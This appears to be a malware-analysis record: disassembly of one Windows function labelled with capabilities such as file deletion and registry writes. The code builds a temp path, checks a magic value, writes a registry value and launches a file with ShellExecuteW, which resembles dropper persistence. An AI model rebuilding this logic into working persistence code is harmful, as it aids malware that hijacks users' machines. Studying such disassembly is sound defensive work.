Function at 0x4021a0
Capabilities:
Create process on windows
Delete file
Get common file path
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
mov eax, dword [0x418038]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.00408730
add esp, 0xc
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x418], ax
lea eax, [ebp - 0x416]
push eax
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x620]
push 0x200
push 0
push eax
call fcn.00408730
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push 0x4169c8
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.00404ceb
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.00402660
cmp dword [0x419fc8], 1
mov esi, eax
jne 0x402265
test esi, esi
jne 0x402265
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00404b4a
mov esp, ebp
pop ebp
ret
call fcn.00402b30
mov edi, eax
mov eax, 0x51
mov word [ebp - 0x59c], ax
mov eax, 0x2b8e
mov dword [ebp - 0x620], 0x504d534d
mov word [ebp - 0x4fa], ax
xor ecx, ecx
movzx eax, word [ecx + 0x416890]
mov word [ebp + ecx - 0x57a], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x402290
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x416868]
mov word [ebp + ecx - 0x61c], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4022b0
xor ecx, ecx
lea esp, [esp]
movzx eax, word [ecx + 0x4169e0]
mov word [ebp + ecx - 0x59a], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4022d0
push 0x419fec
lea eax, [ebp - 0x498]
push 0x10
push eax
mov dword [ebp - 0x458], 5
call fcn.00404c8f
add esp, 0xc
mov ebx, 5
test esi, esi
jne 0x402314
test edi, edi
je 0x402382
push 0x41a120
lea eax, [ebp - 0x59a]
push 0x10
push eax
call fcn.00404c8f
add esp, 0xc
lea eax, [ebp - 0x61c]
push 0x41a0a0
push 0x40
push eax
call fcn.00404c8f
add esp, 0xc
lea eax, [ebp - 0x57a]
push 0x41a018
push 0x40
push eax
call fcn.00404c8f
movzx eax, word [0x41a098]
mov word [ebp - 0x59c], ax
movzx eax, word [0x41a010]
mov word [ebp - 0x4fa], ax
mov eax, dword [0x41a00c]
add esp, 0xc
test eax, eax
cmove eax, ebx
mov dword [ebp - 0x458], eax
mov ecx, 0x416890
lea eax, [ebp - 0x57a]
lea ecx, [ecx]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4023b6
test dx, dx
je 0x4023b2
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4023b6
add eax, 4
add ecx, 4
test dx, dx
jne 0x402390
xor eax, eax
jmp 0x4023bb
sbb eax, eax
or eax, 1
test eax, eax
je 0x4023e7
mov dword [ebp - 0x458], ebx
xor ecx, ecx
jmp 0x4023d0
movzx eax, word [ecx + 0x416890]
mov word [ebp + ecx - 0x57a], ax
lea ecx, [ecx + 2]
test ax, ax
jne 0x4023d0
cmp word [ebp - 0x61c], 0
je 0x40263d
cmp word [ebp - 0x59c], 0
jbe 0x40263d
mov ecx, 0x419fec
mov dword [ebp - 0x620], 0x504d534d
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x402415
sub ecx, edx
sar ecx, 1
je 0x402452
push 0x419fec
push 0
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
test eax, eax
je 0x402452
push 0x419fec
lea eax, [ebp - 0x498]
push 0x10
push eax
call fcn.00404c8f
add esp, 0xc
cmp word [ebp - 0x498], 0
jne 0x402472
push 0x4169ec
lea eax, [ebp - 0x498]
push 0x10
push eax
call fcn.00404c8f
add esp, 0xc
cmp word [ebp - 0x478], 0
jne 0x4024c7
push 0x4169fc
lea eax, [ebp - 0x478]
push 0x10
push eax
call fcn.00404c8f
mov ecx, 0x419fcc
add esp, 0xc
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4024a0
sub ecx, edx
sar ecx, 1
je 0x4024c7
push 0x419fcc
lea eax, [ebp - 0x478]
push 0x10
push eax
call fcn.00404c8f
add esp, 0xc
mov eax, dword [ebp - 0x458]
test eax, eax
cmove eax, ebx
mov dword [ebp - 0x454], 0x10004a4
mov dword [ebp - 0x458], eax
mov ecx, 0x80
lea esi, [ebp - 0x620]
lea edi, [ebp - 0x820]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x620]
lea edx, [ebp - 0x41c]
mov eax, dword [ecx]
mov dword [ebp - 0x41c], 0x504d534d
cmp eax, dword [edx]
je 0x40252d
cmp al, byte [edx]
jne 0x402531
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x402531
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x402531
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
jne 0x402531
xor eax, eax
jmp 0x402536
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40263d
lea ecx, [ebp - 0x820]
call fcn.004020b0
test eax, eax
je 0x40263d
lea edx, [ebp - 0x210]
lea ecx, [ebp - 0x478]
call fcn.00402d70
push 0x104
lea eax, [ebp - 0x418]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, 0x10624dd3
mul ecx
shr edx, 6
mov eax, edx
xor edx, edx
mov ecx, 0x64
div ecx
lea ecx, [ebp - 0x418]
push edx
lea edx, [ebp - 0x210]
call fcn.004033d0
add esp, 4
lea eax, [ebp - 0x824]
push eax
push 3
push 0
push 0x4168d0
push connect
mov dword [ebp - 0x824], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x402623
lea ecx, [ebp - 0x210]
lea edx, [ecx + 2]
lea ebx, [ebx]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x4025e0
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x210]
push eax
push 1
push 0
push 0x416a0c
push dword [ebp - 0x824]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x402623
push dword [ebp - 0x824]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 1
push 0
push 0x41684c
lea eax, [ebp - 0x210]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.00404b4a
mov esp, ebp
pop ebp
ret